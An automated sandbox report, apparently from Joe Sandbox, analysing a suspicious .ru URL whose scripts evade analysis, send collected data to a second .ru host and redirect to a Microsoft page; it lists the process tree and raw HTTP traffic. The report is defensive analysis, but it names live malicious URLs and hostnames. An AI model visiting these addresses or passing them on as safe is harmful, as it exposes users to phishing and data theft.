Edit tour

Windows Analysis Report
https://gADK.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/

Overview

General Information

Sample URL:	https://gADK.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/
Analysis ID:	1579178
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

AI detected suspicious Javascript

AI detected suspicious URL

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3552 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3184 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1624 --field-trial-handle=2032,i,17181791565216499236,9261844077795664136,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6548 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://gADK.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/646785597:1734736264:AViGtQzSaaabc8hrjDXP21IkLtA_JA6kCdlbd7_lW4U/8f53738f5cfa15bb/Z6QE2UCD8GP1ik6GkC.hfElbKlamBauzDmHzwaBFQLs-1734737753-1.1.1.1-9mi5jcAkowfj88LcB7QDKM3IIlqsh0_ISo9UR_Wu85cb0Ya_9q16gt77fpCmc6aN HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3273sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: Z6QE2UCD8GP1ik6GkC.hfElbKlamBauzDmHzwaBFQLs-1734737753-1.1.1.1-9mi5jcAkowfj88LcB7QDKM3IIlqsh0_ISo9UR_Wu85cb0Ya_9q16gt77fpCmc6aNsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/1gq28/0x4AAAAAAA01zeNo8XyUDmXH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: 0.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://gadk.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjH... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script collects user data and sends it to an unknown domain, and it also redirects the user to a Microsoft Power BI domain, which is likely not the intended functionality. These behaviors are highly suspicious and indicate a potentially malicious intent, warranting a high-risk score.
Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://gadk.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjH... This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to an external website. The combination of these behaviors suggests a high likelihood of malicious intent, potentially to prevent analysis or hide unwanted activities.
Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://gadk.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjH... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and URLs further increases the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of malicious intent.

Source: https://gadk.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/ HTTP/1.1Host: gadk.quantumdhub.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://gadk.quantumdhub.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://gadk.quantumdhub.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://gadk.quantumdhub.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://gadk.quantumdhub.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/1gq28/0x4AAAAAAA01zeNo8XyUDmXH/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://gadk.quantumdhub.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f53738f5cfa15bb&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/1gq28/0x4AAAAAAA01zeNo8XyUDmXH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/1gq28/0x4AAAAAAA01zeNo8XyUDmXH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: gadk.quantumdhub.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://gadk.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InZpRlNVMjlYSm9ZcXFqbWpXVGtFWlE9PSIsInZhbHVlIjoieXoxNG9xYWtqcGRDUkZOMXFtT1hZZTFRZjNXM0RxU3Y2WUIxUHpCV0NKTThnQ09ML3hqcjRnRXd2QndiU1Y3K0xvQjlXVlFsZFcxckE4bnMvQnVMTHhOVXl3aWgzV1VicjgrQzhIWG9lNUEzTVRUajlJOXYyNHlhblhKM1drTUwiLCJtYWMiOiJjNDE2Mzk2NmI4MTJmZjNlMzY0MTkyYWIzZWExNTBlOTZiYTlmMDkzNjcxODkzNWEwNDM3MTE2ZWQyNWEzMWU0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFJS2xRSlN4VVZLdXRCc0pOYk5VZnc9PSIsInZhbHVlIjoiazlhQkxNV3F6OVdHWDZ6ZE9LOTVWcnZORmxTOVBqQ0kxeXkzdm5xZ0VmeXhCNlZDMU5rMC9zUmFsY1cwNXVMUlFzK3kyNTJQZGNGNFIvK3hEbXdCbnV0MTVFV0JsakZSTTN0d1JXbmtmTDBub1RPc3F6OW10b0w3c2tpcU5QcnciLCJtYWMiOiI2NjAxNzk2NGU1MmQzYjc1YjVjYTQ4MGVhMTczZWNhZGIxYjBjZDQwYWIyNzY5MjUyNzQ5M2MwZDNiNDE3NzY5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f53738f5cfa15bb&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/646785597:1734736264:AViGtQzSaaabc8hrjDXP21IkLtA_JA6kCdlbd7_lW4U/8f53738f5cfa15bb/Z6QE2UCD8GP1ik6GkC.hfElbKlamBauzDmHzwaBFQLs-1734737753-1.1.1.1-9mi5jcAkowfj88LcB7QDKM3IIlqsh0_ISo9UR_Wu85cb0Ya_9q16gt77fpCmc6aN HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8f53738f5cfa15bb/1734737757657/266c2338cf1da0c0197c76b0ce5e22a9a128cea85378c77008f8b5687810be47/iRJ4oKYtIhGUez2 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/1gq28/0x4AAAAAAA01zeNo8XyUDmXH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8f53738f5cfa15bb/1734737757661/UAGFpR2sTVmHXbx HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/1gq28/0x4AAAAAAA01zeNo8XyUDmXH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8f53738f5cfa15bb/1734737757661/UAGFpR2sTVmHXbx HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/646785597:1734736264:AViGtQzSaaabc8hrjDXP21IkLtA_JA6kCdlbd7_lW4U/8f53738f5cfa15bb/Z6QE2UCD8GP1ik6GkC.hfElbKlamBauzDmHzwaBFQLs-1734737753-1.1.1.1-9mi5jcAkowfj88LcB7QDKM3IIlqsh0_ISo9UR_Wu85cb0Ya_9q16gt77fpCmc6aN HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/646785597:1734736264:AViGtQzSaaabc8hrjDXP21IkLtA_JA6kCdlbd7_lW4U/8f53738f5cfa15bb/Z6QE2UCD8GP1ik6GkC.hfElbKlamBauzDmHzwaBFQLs-1734737753-1.1.1.1-9mi5jcAkowfj88LcB7QDKM3IIlqsh0_ISo9UR_Wu85cb0Ya_9q16gt77fpCmc6aN HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ZATfZymFloKYOUYHhMIPbYQbYmLCVGEUSJTYXKLELYVOVSTVWWBDRAXVWRBSWFMJQXZNOKQCTXW HTTP/1.1Host: qyirfeifkmxfpzq40aunypu4fmz8ucnejoritjokcewctv5c9qybgue.lpliwptf.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://gadk.quantumdhub.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://gadk.quantumdhub.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ZATfZymFloKYOUYHhMIPbYQbYmLCVGEUSJTYXKLELYVOVSTVWWBDRAXVWRBSWFMJQXZNOKQCTXW HTTP/1.1Host: qyirfeifkmxfpzq40aunypu4fmz8ucnejoritjokcewctv5c9qybgue.lpliwptf.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&ts=1734737818811 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.microsoft.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /microsoft/lp_ada_enhancements-prod.js HTTP/1.1Host: static-assets.fs.liveperson.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://publisher.liveperson.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&ts=1734737818811 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=65697634601447774650234603073451317819
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=A&mcorgid=EA76ADE95776D2EC7F000101%40AdobeOrg&mid=65955960084563645340280706213568852788&ts=1734737820889 HTTP/1.1Host: msftenterprise.sc.omtrdc.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.microsoft.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dest5.html?d_nsid=0 HTTP/1.1Host: mscom.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=65697634601447774650234603073451317819

